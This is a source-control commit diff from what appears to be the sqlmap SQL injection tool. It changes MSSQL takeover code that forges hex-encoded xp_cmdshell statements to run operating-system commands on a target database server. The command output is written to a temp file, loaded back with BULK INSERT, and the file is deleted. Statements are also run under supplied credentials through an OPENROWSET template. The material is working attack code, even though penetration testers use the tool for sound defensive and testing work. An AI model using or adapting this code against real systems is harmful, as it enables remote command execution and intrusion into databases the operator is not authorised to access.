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cleanup for #34

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This commit is contained in:
Bernardo Damele 2012-07-09 12:39:43 +01:00
parent d08a54e375
commit 99c5ea54f7
3 changed files with 15 additions and 12 deletions
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9
lib/core/agent.py
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@ -820,15 +820,6 @@ class Agent:
def runAsDBMSUser(self, query): def runAsDBMSUser(self, query):
if conf.dCred and "Ad Hoc Distributed Queries" not in query: if conf.dCred and "Ad Hoc Distributed Queries" not in query:
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements:
if query.lower().startswith(sqlStatement):
sqlType = sqlTitle
break
if sqlType and "SELECT" not in sqlType:
query = "SELECT %d;%s" % (randomInt(), query)
query = getSPQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''")) query = getSPQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''"))
return query return query

13
lib/takeover/xp_cmdshell.py
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@ -148,12 +148,18 @@ class xp_cmdshell:
self.xpCmdshellExecCmd(cmd) self.xpCmdshellExecCmd(cmd)
def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None): def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None):
if conf.dCred:
self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
cmd = "%s > \"%s\"" % (cmd, self.tmpFile)
self.__randStr = randomStr(lowercase=True) self.__randStr = randomStr(lowercase=True)
self.__cmd = "0x%s" % hexencode(cmd) self.__cmd = "0x%s" % hexencode(cmd)
self.__forgedCmd = "DECLARE @%s VARCHAR(8000);" % self.__randStr self.__forgedCmd = "DECLARE @%s VARCHAR(8000);" % self.__randStr
self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd) self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd)
if insertIntoTable:
if insertIntoTable and not conf.dCred:
self.__forgedCmd += "INSERT INTO %s " % insertIntoTable self.__forgedCmd += "INSERT INTO %s " % insertIntoTable
self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr) self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr)
return agent.runAsDBMSUser(self.__forgedCmd) return agent.runAsDBMSUser(self.__forgedCmd)
@ -178,6 +184,11 @@ class xp_cmdshell:
output = new_output output = new_output
else: else:
inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
if conf.dCred:
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10)))
self.delRemoteFile(self.tmpFile)
query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName) query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
if conf.direct or any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)): if conf.direct or any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)):

5
procs/mssqlserver/run_statement_as_user.txt
View File

@ -1,2 +1,3 @@
SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','%STATEMENT%') SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','SET FMTONLY OFF %STATEMENT%')
# SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','%STATEMENT%') # SELECT * FROM OPENROWSET('SQLNCLI', 'server=(local);trusted_connection=yes','SET FMTONLY OFF SELECT 1;%STATEMENT%')
# SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','SET FMTONLY OFF %STATEMENT%')